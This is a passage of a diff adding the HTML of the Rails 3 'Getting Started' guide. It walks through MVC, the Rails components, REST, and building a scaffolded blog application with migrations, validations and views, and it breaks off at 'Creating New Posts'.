+	<li><span class="caps">REST</span> is the best pattern for web applications &#8211; organizing your application around resources and standard <span class="caps">HTTP</span> verbs is the fastest way to go.</li>
+</ul>
+<h4 id="the-mvc-architecture">2.1 The <span class="caps">MVC</span> Architecture</h4>
+<p>At the core of Rails is the Model, View, Controller architecture, usually just called <span class="caps">MVC</span>. <span class="caps">MVC</span> benefits include:</p>
+<ul>
+	<li>Isolation of business logic from the user interface</li>
+	<li>Ease of keeping code <span class="caps">DRY</span></li>
+	<li>Making it clear where different types of code belong for easier maintenance</li>
+</ul>
+<h5 id="models">2.1.1 Models</h5>
+<p>A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application&#8217;s business logic will be concentrated in the models.</p>
+<h5 id="views">2.1.2 Views</h5>
+<p>Views represent the user interface of your application. In Rails, views are often <span class="caps">HTML</span> files with embedded Ruby code that perform tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.</p>
+<h5 id="controllers">2.1.3 Controllers</h5>
+<p>Controllers provide the &#8220;glue&#8221; between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.</p>
+<h4 id="the-components-of-rails">2.2 The Components of Rails</h4>
+<p>Rails ships as many individual components.</p>
+<ul>
+	<li>Action Pack
+	<ul>
+		<li>Action Controller</li>
+		<li>Action Dispatch</li>
+		<li>Action View</li>
+	</ul></li>
+	<li>Action Mailer</li>
+	<li>Active Model</li>
+	<li>Active Record</li>
+	<li>Active Resource</li>
+	<li>Active Support</li>
+	<li>Railties</li>
+</ul>
+<h5 id="action-pack">2.2.1 Action Pack</h5>
+<p>Action Pack is a single gem that contains Action Controller, Action View and Action Dispatch.  The &#8220;VC&#8221; part of &#8220;<span class="caps">MVC</span>&#8221;.</p>
+<h5 id="action-controller">2.2.2 Action Controller</h5>
+<p>Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.</p>
+<h5 id="action-view">2.2.3 Action View</h5>
+<p>Action View manages the views of your Rails application. It can create both <span class="caps">HTML</span> and <span class="caps">XML</span> output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in <span class="caps">AJAX</span> support.</p>
+<h5 id="action-dispatch">2.2.4 Action Dispatch</h5>
+<p>Action Dispatch handles routing of web requests and dispatches them as you want, either to your application or any other Rack application.</p>
+<h5 id="action-mailer">2.2.5 Action Mailer</h5>
+<p>Action Mailer is a framework for building e-mail services. You can use Action Mailer to receive and process incoming email and send simple plain text or complex multipart emails based on flexible templates.</p>
+<h5 id="active-model">2.2.6 Active Model</h5>
+<p>Active Model provides a defined interface between the Action Pack gem services and Object Relationship Mapping gems such as Active Record.  Active Model allows Rails to utilize other <span class="caps">ORM</span> frameworks in place of Active Record if your application needs this.</p>
+<h5 id="active-record">2.2.7 Active Record</h5>
+<p>Active Record is the base for the models in a Rails application. It provides database independence, basic <span class="caps">CRUD</span> functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.</p>
+<h5 id="active-resource">2.2.8 Active Resource</h5>
+<p>Active Resource provides a framework for managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with <span class="caps">CRUD</span> semantics.</p>
+<h5 id="active-support">2.2.9 Active Support</h5>
+<p>Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.</p>
+<h5 id="railties">2.2.10 Railties</h5>
+<p>Railties is the core Rails code that builds new Rails applications and glues the various frameworks and plugins together in any Rails application.</p>
+<h4 id="rest">2.3 <span class="caps">REST</span></h4>
+<p>Rest stands for Representational State Transfer and is the foundation of the RESTful architecture. This is generally considered to be Roy Fielding&#8217;s doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. While you can read through the thesis, <span class="caps">REST</span> in terms of Rails boils down to two main principles:</p>
+<ul>
+	<li>Using resource identifiers such as URLs to represent resources.</li>
+	<li>Transferring representations of the state of that resource between system components.</li>
+</ul>
+<p>For example, to a Rails application a request such as this:</p>
+<p><tt><span class="caps">DELETE</span> /photos/17</tt></p>
+<p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action &#8211; deleting that resource. <span class="caps">REST</span> is a natural style for the architecture of web applications, and Rails hooks into this shielding you from many of the RESTful complexities and browser quirks.</p>
+<p>If you&#8217;d like more details on <span class="caps">REST</span> as an architectural style, these resources are more approachable than Fielding&#8217;s thesis:</p>
+<ul>
+	<li><a href="http://www.infoq.com/articles/rest-introduction">A Brief Introduction to <span class="caps">REST</span></a> by Stefan Tilkov</li>
+	<li><a href="http://bitworking.org/news/373/An-Introduction-to-REST">An Introduction to <span class="caps">REST</span></a> (video tutorial) by Joe Gregorio</li>
+	<li><a href="http://en.wikipedia.org/wiki/Representational_State_Transfer">Representational State Transfer</a> article in Wikipedia</li>
+	<li><a href="http://www.infoq.com/articles/webber-rest-workflow">How to <span class="caps">GET</span> a Cup of Coffee</a> by Jim Webber, Savas Parastatidis &amp; Ian Robinson</li>
+</ul>
+<h3 id="creating-a-new-rails-project">3 Creating a New Rails Project</h3>
+<p>If you follow this guide, you&#8217;ll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.</p>
+<h4 id="installing-rails">3.1 Installing Rails</h4>
+<p>In most cases, the easiest way to install Rails is to take advantage of RubyGems:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Usually run this as the root user:
+# gem install rails
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>If you&#8217;re working on Windows, you should be aware that the vast majority of Rails development is done in Unix environments. While Ruby and Rails themselves install easily using for example <a href="http://rubyinstaller.org/">Ruby Installer</a>, the supporting ecosystem often assumes you are able to build C-based rubygems and work in a command window. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.</p></div>
+<h4 id="creating-the-blog-application">3.2 Creating the Blog Application</h4>
+<p>The best way to use this guide is to follow each step as it happens, no code or step needed to make this example application has been left out, so you can literally follow along step by step.  If you need to see the completed code, you can download it from <a href="http://github.com/mikel/getting-started-code">Getting Started Code</a>.</p>
+<p>To begin, open a terminal, navigate to a folder where you have rights to create files, and type:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails new blog
+</pre>
+</div>
+</notextile>
+
+<p>This will create a Rails application called Blog in a directory called blog.</p>
+<div class='info'><p>You can see all of the switches that the Rails application builder accepts by running <tt>rails -h</tt>.</p></div>
+<p>After you create the blog application, switch to its folder to continue work directly in that application:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ cd blog
+</pre>
+</div>
+</notextile>
+
+<p>In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here&#8217;s a basic rundown on the function of each folder that Rails creates in a new application by default:</p>
+<table>
+	<tr>
+		<th>File/Folder</th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td>Gemfile</td>
+		<td>This file allows you to specify what gem dependencies are needed for your Rails application.</td>
+	</tr>
+	<tr>
+		<td><span class="caps">README</span>.rdoc</td>
+		<td>This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.</td>
+	</tr>
+	<tr>
+		<td>Rakefile</td>
+		<td>This file contains batch jobs that can be run from the terminal.</td>
+	</tr>
+	<tr>
+		<td>app/</td>
+		<td>Contains the controllers, models, and views for your application. You&#8217;ll focus on this folder for the remainder of this guide.</td>
+	</tr>
+	<tr>
+		<td>config/</td>
+		<td>Configure your application&#8217;s runtime rules, routes, database, and more.</td>
+	</tr>
+	<tr>
+		<td>config.ru</td>
+		<td>Rack configuration for Rack based servers used to start the application.</td>
+	</tr>
+	<tr>
+		<td>db/</td>
+		<td>Shows your current database schema, as well as the database migrations. You&#8217;ll learn about migrations shortly.</td>
+	</tr>
+	<tr>
+		<td>doc/</td>
+		<td>In-depth documentation for your application.</td>
+	</tr>
+	<tr>
+		<td>lib/</td>
+		<td>Extended modules for your application (not covered in this guide).</td>
+	</tr>
+	<tr>
+		<td>log/</td>
+		<td>Application log files.</td>
+	</tr>
+	<tr>
+		<td>public/</td>
+		<td>The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (<span class="caps">CSS</span>), and other static files go.</td>
+	</tr>
+	<tr>
+		<td>script/</td>
+		<td>Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.</td>
+	</tr>
+	<tr>
+		<td>test/</td>
+		<td>Unit tests, fixtures, and other test apparatus. These are covered in <a href="testing.html">Testing Rails Applications</a></td>
+	</tr>
+	<tr>
+		<td>tmp/</td>
+		<td>Temporary files</td>
+	</tr>
+	<tr>
+		<td>vendor/</td>
+		<td>A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.</td>
+	</tr>
+</table>
+<h4 id="installing-the-required-gems">3.3 Installing the Required Gems</h4>
+<p>Rails applications manage gem dependencies with <a href="http://www.github.com/carlhuda/bundler">Bundler</a> by default. As we don&#8217;t need any other gems beyond the ones in the generated <tt>Gemfile</tt> we can directly run</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+bundle install
+</pre>
+</div>
+</notextile>
+
+<p>to have them ready.</p>
+<h4 id="configuring-a-database">3.4 Configuring a Database</h4>
+<p>Just about every Rails application will interact with a database. The database to use is specified in a configuration file, <tt>config/database.yml</tt>.
+If you open this file in a new Rails application, you&#8217;ll see a default database configuration using SQLite3. The file contains sections for three different environments in which Rails can run by default:</p>
+<ul>
+	<li>The <tt>development</tt> environment is used on your development computer as you interact manually with the application</li>
+	<li>The <tt>test</tt> environment is used to run automated tests</li>
+	<li>The <tt>production</tt> environment is used when you deploy your application for the world to use.</li>
+</ul>
+<h5 id="configuring-an-sqlite3-database">3.4.1 Configuring an SQLite3 Database</h5>
+<p>Rails comes with built-in support for <a href="http://www.sqlite.org">SQLite3</a>, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.</p>
+<p>Here&#8217;s the section of the default configuration file (<tt>config/database.yml</tt>) with connection information for the development environment:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>In this guide we are using an SQLite3 database for data storage, because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL &#8220;out of the box&#8221;, and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.</p></div>
+<h5 id="configuring-a-mysql-database">3.4.2 Configuring a MySQL Database</h5>
+<p>If you choose to use MySQL instead of the shipped Sqlite3 database, your <tt>config/database.yml</tt> will look a little different. Here&#8217;s the development section:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+development:
+  adapter: mysql2
+  encoding: utf8
+  database: blog_development
+  pool: 5
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+</pre>
+</div>
+</notextile>
+
+<p>If your development computer&#8217;s MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the <tt>development</tt> section as appropriate.</p>
+<h5 id="configuring-a-postgresql-database">3.4.3 Configuring a PostgreSQL Database</h5>
+<p>Finally if you choose to use PostgreSQL, your <tt>config/database.yml</tt> will be customized to use PostgreSQL databases:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  pool: 5
+  username: blog
+  password:
+</pre>
+</div>
+</notextile>
+
+<p>Change the username and password in the <tt>development</tt> section as appropriate.</p>
+<h4 id="creating-the-database">3.5 Creating the Database</h4>
+<p>Now that you have your database configured, it&#8217;s time to have Rails create an empty database for you. You can do this by running a rake command:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake db:create
+</pre>
+</div>
+</notextile>
+
+<p>This will create your development and test SQLite3 databases inside the <tt>db/</tt> folder.</p>
+<div class='info'><p>Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running <tt>rake -T</tt>.</p></div>
+<h3 id="hello-rails">4 Hello, Rails!</h3>
+<p>One of the traditional places to start with a new language is by getting some text up on screen quickly, to do this, you need to get your Rails application server running.</p>
+<h4 id="starting-up-the-web-server">4.1 Starting up the Web Server</h4>
+<p>You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails server
+</pre>
+</div>
+</notextile>
+
+<p>This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to <a href="http://localhost:3000">http://localhost:3000</a>. You should see Rails&#8217; default information page:</p>
+<p><img src="images/rails_welcome.png" title="Welcome Aboard screenshot" alt="Welcome Aboard screenshot" /></p>
+<div class='info'><p>To stop the web server, hit Ctrl+C in the terminal window where it&#8217;s running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.</p></div>
+<p>The &#8220;Welcome Aboard&#8221; page is the <em>smoke test</em> for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page.  You can also click on the <em>About your applicationโ€™s environment</em> link to see a summary of your Application&#8217;s environment.</p>
+<h4 id="say-hello-rails">4.2 Say &#8220;Hello&#8221;, Rails</h4>
+<p>To get Rails saying &#8220;Hello&#8221;, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate controller home index
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>If you&#8217;re on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails <tt>rails</tt> commands to Ruby: <tt>ruby \path\to\rails controller home index</tt>.</p></div>
+<p>Rails will create several files for you, including <tt>app/views/home/index.html.erb</tt>. This is the template that will be used to display the results of the <tt>index</tt> action (method) in the <tt>home</tt> controller. Open this file in your text editor and edit it to contain a single line of code:</p>
+<p><code class="html">
+&lt;h1&gt;Hello, Rails!&lt;/h1&gt;
+</code></p>
+<h4 id="setting-the-application-home-page">4.3 Setting the Application Home Page</h4>
+<p>Now that we have made the controller and view, we need to tell Rails when we want &#8220;Hello Rails&#8221; to show up.  In our case, we want it to show up when we navigate to the root <span class="caps">URL</span> of our site, <a href="http://localhost:3000">http://localhost:3000</a>, instead of the &#8220;Welcome Aboard&#8221; smoke test.</p>
+<p>The first step to doing this is to delete the default page from your application:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rm public/index.html
+</pre>
+</div>
+</notextile>
+
+<p>We need to do this as Rails will deliver any static file in the <tt>public</tt> directory in preference to any dynamic contact we generate from the controllers.</p>
+<p>Now, you have to tell Rails where your actual home page is located. Open the file <tt>config/routes.rb</tt> in your editor. This is your application&#8217;s <em>routing file</em> which holds entries in a special <span class="caps">DSL</span> (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with <tt>:root to</tt>, uncomment it and change it like the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Blog::Application.routes.draw do
+
+  #...
+  # You can have the root of your site routed with &quot;root&quot;
+  # just remember to delete public/index.html.
+  root :to =&gt; &quot;home#index&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>root :to => "home#index"</tt> tells Rails to map the root action to the home controller&#8217;s index action.</p>
+<p>Now if you navigate to <a href="http://localhost:3000">http://localhost:3000</a> in your browser, you&#8217;ll see <tt>Hello, Rails!</tt>.</p>
+<div class='note'><p>For more information about routing, refer to <a href="routing.html">Rails Routing from the Outside In</a>.</p></div>
+<h3 id="getting-up-and-running-quickly-with-scaffolding">5 Getting Up and Running Quickly with Scaffolding</h3>
+<p>Rails <em>scaffolding</em> is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.</p>
+<h3 id="creating-a-resource">6 Creating a Resource</h3>
+<p>In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate scaffold Post name:string title:string content:text
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>While scaffolding will get you up and running quickly, the &#8220;one size fits all&#8221; code that it generates is unlikely to be a perfect fit for your application. In most cases, you&#8217;ll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.</p></div>
+<p>The scaffold generator will build 15 files in your application, along with some folders, and edit one more. Here&#8217;s a quick overview of what it creates:</p>
+<table>
+	<tr>
+		<th>File                                       </th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td>db/migrate/20100207214725_create_posts.rb.rb    </td>
+		<td>Migration to create the posts table in your database (your name will include a different timestamp)</td>
+	</tr>
+	<tr>
+		<td>app/models/post.rb                           </td>
+		<td>The Post model</td>
+	</tr>
+	<tr>
+		<td>test/fixtures/posts.yml                      </td>
+		<td>Dummy posts for use in testing</td>
+	</tr>
+	<tr>
+		<td>app/controllers/posts_controller.rb          </td>
+		<td>The Posts controller</td>
+	</tr>
+	<tr>
+		<td>app/views/posts/index.html.erb               </td>
+		<td>A view to display an index of all posts </td>
+	</tr>
+	<tr>
+		<td>app/views/posts/edit.html.erb                </td>
+		<td>A view to edit an existing post</td>
+	</tr>
+	<tr>
+		<td>app/views/posts/show.html.erb                </td>
+		<td>A view to display a single post</td>
+	</tr>
+	<tr>
+		<td>app/views/posts/new.html.erb                 </td>
+		<td>A view to create a new post</td>
+	</tr>
+	<tr>
+		<td>app/views/posts/_form.html.erb               </td>
+		<td>A partial to control the overall look and feel of the form used in edit and new views</td>
+	</tr>
+	<tr>
+		<td>app/helpers/posts_helper.rb                  </td>
+		<td>Helper functions to be used from the post views</td>
+	</tr>
+	<tr>
+		<td>test/unit/post_test.rb                       </td>
+		<td>Unit testing harness for the posts model</td>
+	</tr>
+	<tr>
+		<td>test/functional/posts_controller_test.rb     </td>
+		<td>Functional testing harness for the posts controller</td>
+	</tr>
+	<tr>
+		<td>test/unit/helpers/posts_helper_test.rb       </td>
+		<td>Unit testing harness for the posts helper</td>
+	</tr>
+	<tr>
+		<td>config/routes.rb                             </td>
+		<td>Edited to include routing information for posts</td>
+	</tr>
+	<tr>
+		<td>public/stylesheets/scaffold.css              </td>
+		<td>Cascading style sheet to make the scaffolded views look better</td>
+	</tr>
+</table>
+<h4 id="running-a-migration">6.1 Running a Migration</h4>
+<p>One of the products of the <tt>rails generate scaffold</tt> command is a <em>database migration</em>. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it&#8217;s possible to undo a migration after it&#8217;s been applied to your database. Migration filenames include a timestamp to ensure that they&#8217;re processed in the order that they were created.</p>
+<p>If you look in the <tt>db/migrate/20100207214725_create_posts.rb</tt> file (remember, yours will have a slightly different name), here&#8217;s what you&#8217;ll find:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreatePosts &lt; ActiveRecord::Migration
+  def self.up
+    create_table :posts do |t|
+      t.string :name
+      t.string :title
+      t.text :content
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :posts
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The above migration creates two methods, <tt>up</tt>, called when you run this migration into the database, and <tt>down</tt> in case you need to reverse the changes made by this migration at a later date.  The <tt>up</tt> command in this case creates a <tt>posts</tt> table with two string columns and a text column.  It also creates two timestamp fields to track record creation and updating.  More information about Rails migrations can be found in the <a href="migrations.html">Rails Database Migrations</a> guide.</p>
+<p>At this point, you can use a rake command to run the migration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake db:migrate
+</pre>
+</div>
+</notextile>
+
+<p>Rails will execute this migration command and tell you it created the Posts table.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+==  CreatePosts: migrating ====================================================
+-- create_table(:posts)
+   -&gt; 0.0019s
+==  CreatePosts: migrated (0.0020s) ===========================================
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Because you&#8217;re working in the development environment by default, this command will apply to the database defined in the <tt>development</tt> section of your <tt>config/database.yml</tt> file.</p></div>
+<h4 id="adding-a-link">6.2 Adding a Link</h4>
+<p>To hook the posts up to the home page you&#8217;ve already created, you can add a link to the home page. Open <tt>app/views/home/index.html.erb</tt> and modify it as follows:</p>
+<p><code lang="ruby">
+&lt;h1&gt;Hello, Rails!&lt;/h1&gt;
+&lt;%= link_to "My Blog", posts_path %&gt;
+</code></p>
+<p>The <tt>link_to</tt> method is one of Rails&#8217; built-in view helpers. It creates a hyperlink based on text to display and where to go &#8211; in this case, to the path for posts.</p>
+<h4 id="working-with-posts-in-the-browser">6.3 Working with Posts in the Browser</h4>
+<p>Now you&#8217;re ready to start working with posts. To do that, navigate to <a href="http://localhost:3000/">http://localhost:3000</a> and then click the &#8220;My Blog&#8221; link:</p>
+<p><img src="images/posts_index.png" title="Posts Index screenshot" alt="Posts Index screenshot" /></p>
+<p>This is the result of Rails rendering the <tt>index</tt> view of your posts. There aren&#8217;t currently any posts in the database, but if you click the <tt>New Post</tt> link you can create one. After that, you&#8217;ll find that you can edit posts, look at their details, or destroy them. All of the logic and <span class="caps">HTML</span> to handle this was built by the single <tt>rails generate scaffold</tt> command.</p>
+<div class='info'><p>In development mode (which is what you&#8217;re working in by default), Rails reloads your application with every browser request, so there&#8217;s no need to stop and restart the web server.</p></div>
+<p>Congratulations, you&#8217;re riding the rails! Now it&#8217;s time to see how it all works.</p>
+<h4 id="the-model">6.4 The Model</h4>
+<p>The model file, <tt>app/models/post.rb</tt> is about as simple as it can get:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Post &lt; ActiveRecord::Base
+end
+</pre>
+</div>
+</notextile>
+
+<p>There isn&#8217;t much to this file &#8211; but note that the <tt>Post</tt> class inherits from <tt>ActiveRecord::Base</tt>. Active Record supplies a great deal of functionality to your Rails models for free, including basic database <span class="caps">CRUD</span> (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.</p>
+<h4 id="adding-some-validation">6.5 Adding Some Validation</h4>
+<p>Rails includes methods to help you validate the data that you send to models. Open the <tt>app/models/post.rb</tt> file and edit it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Post &lt; ActiveRecord::Base
+  validates :name,  :presence =&gt; true
+  validates :title, :presence =&gt; true,
+                    :length =&gt; { :minimum =&gt; 5 }
+end
+</pre>
+</div>
+</notextile>
+
+<p>These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.</p>
+<h4 id="using-the-console">6.6 Using the Console</h4>
+<p>To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails console
+</pre>
+</div>
+</notextile>
+
+<p>After the console loads, you can use it to work with your application&#8217;s models:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+&gt;&gt; p = Post.new(:content =&gt; &quot;A new post&quot;)
+=&gt; #&lt;Post id: nil, name: nil, title: nil,
+     content: &quot;A new post&quot;, created_at: nil,
+     updated_at: nil&gt;
+&gt;&gt; p.save
+=&gt; false
+&gt;&gt; p.errors
+=&gt; #&lt;OrderedHash { :title=&gt;[&quot;can't be blank&quot;,
+                           &quot;is too short (minimum is 5 characters)&quot;],
+                   :name=&gt;[&quot;can't be blank&quot;] }&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This code shows creating a new <tt>Post</tt> instance, attempting to save it and getting <tt>false</tt> for a return value (indicating that the save failed), and inspecting the <tt>errors</tt> of the post.</p>
+<p>When you&#8217;re finished, type <tt>exit</tt> and hit <tt>return</tt> to exit the console.</p>
+<div class='info'><p>Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type <tt>reload!</tt> at the console prompt to load them.</p></div>
+<h4 id="listing-all-posts">6.7 Listing All Posts</h4>
+<p>The easiest place to start looking at functionality is with the code that lists all posts. Open the file <tt>app/controllers/posts_controller.rb </tt> and look at the <tt>index</tt> action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def index
+  @posts = Post.all
+
+  respond_to do |format|
+    format.html # index.html.erb
+    format.xml  { render :xml =&gt; @posts }
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p><tt>Post.all</tt> calls the <tt>Post</tt> model to return all of the posts currently in the database. The result of this call is an array containing the posts which has been saved in an instance variable called <tt>@posts</tt>.</p>
+<div class='info'><p>For more information on finding records with Active Record, see <a href="active_record_querying.html">Active Record Query Interface</a>.</p></div>
+<p>The <tt>respond_to</tt> block handles both <span class="caps">HTML</span> and <span class="caps">XML</span> calls to this action. If you browse to <a href="http://localhost:3000/posts.xml">http://localhost:3000/posts.xml</a>, you&#8217;ll see all of the posts in <span class="caps">XML</span> format. The <span class="caps">HTML</span> format looks for a view in <tt>app/views/posts/</tt> with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here&#8217;s <tt>app/views/posts/index.html.erb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;h1&gt;Listing posts&lt;/h1&gt;
+
+&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Name&lt;/th&gt;
+    &lt;th&gt;Title&lt;/th&gt;
+    &lt;th&gt;Content&lt;/th&gt;
+    &lt;th&gt;&lt;/th&gt;
+    &lt;th&gt;&lt;/th&gt;
+    &lt;th&gt;&lt;/th&gt;
+  &lt;/tr&gt;
+
+&lt;% @posts.each do |post| %&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&lt;%= post.name %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= post.title %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= post.content %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= link_to 'Show', post %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= link_to 'Edit', edit_post_path(post) %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%= link_to 'Destroy', post, :confirm =&gt; 'Are you sure?', :method =&gt; :delete %&gt;&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;% end %&gt;
+&lt;/table&gt;
+
+&lt;br /&gt;
+
+&lt;%= link_to 'New post', new_post_path %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This view iterates over the contents of the <tt>@posts</tt> array to display content and links. A few things to note in the view:</p>
+<ul>
+	<li><tt>link_to</tt> builds a hyperlink to a particular destination</li>
+	<li><tt>edit_post_path</tt> and <tt>new_post_path</tt> are helpers that Rails provides as part of RESTful routing. You&#8217;ll see a variety of these helpers for the different actions that the controller includes.</li>
+</ul>
+<div class='note'><p>In previous versions of Rails, you had to use <tt>&lt;%=h post.name %&gt;</tt> so that any <span class="caps">HTML</span> would be escaped before being inserted into the page.  In Rails 3.0, this is now the default.  To get unescaped <span class="caps">HTML</span>, you now use <tt>&lt;%= raw post.name %&gt;</tt>.</p></div>
+<div class='info'><p>For more details on the rendering process, see <a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a>.</p></div>
+<h4 id="customizing-the-layout">6.8 Customizing the Layout</h4>
+<p>The view is only part of the story of how <span class="caps">HTML</span> is displayed in your web browser. Rails also has the concept of <tt>layouts</tt>, which are containers for views. When Rails renders a view to the browser, it does so by putting the view&#8217;s <span class="caps">HTML</span> into a layout&#8217;s <span class="caps">HTML</span>. In previous versions of Rails, the <tt>rails generate scaffold</tt> command would automatically create a controller specific layout, like <tt>app/views/layouts/posts.html.erb</tt>, for the posts controller. However this has been changed in Rails 3.0. A application specific <tt>layout</tt> is used for all the controllers and can be found in <tt>app/views/layouts/application.html.erb</tt>. Open this layout in your editor and modify the <tt>body</tt> tag:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Blog&lt;/title&gt;
+  &lt;%= stylesheet_link_tag :all %&gt;
+  &lt;%= javascript_include_tag :defaults %&gt;
+  &lt;%= csrf_meta_tag %&gt;
+&lt;/head&gt;
+&lt;body style=&quot;background: #EEEEEE;&quot;&gt;
+
+&lt;%= yield %&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Now when you refresh the <tt>/posts</tt> page, you&#8217;ll see a gray background to the page. This same gray background will be used throughout all the views for posts.</p>
+<h4 id="creating-new-posts">6.9 Creating New Posts</h4>
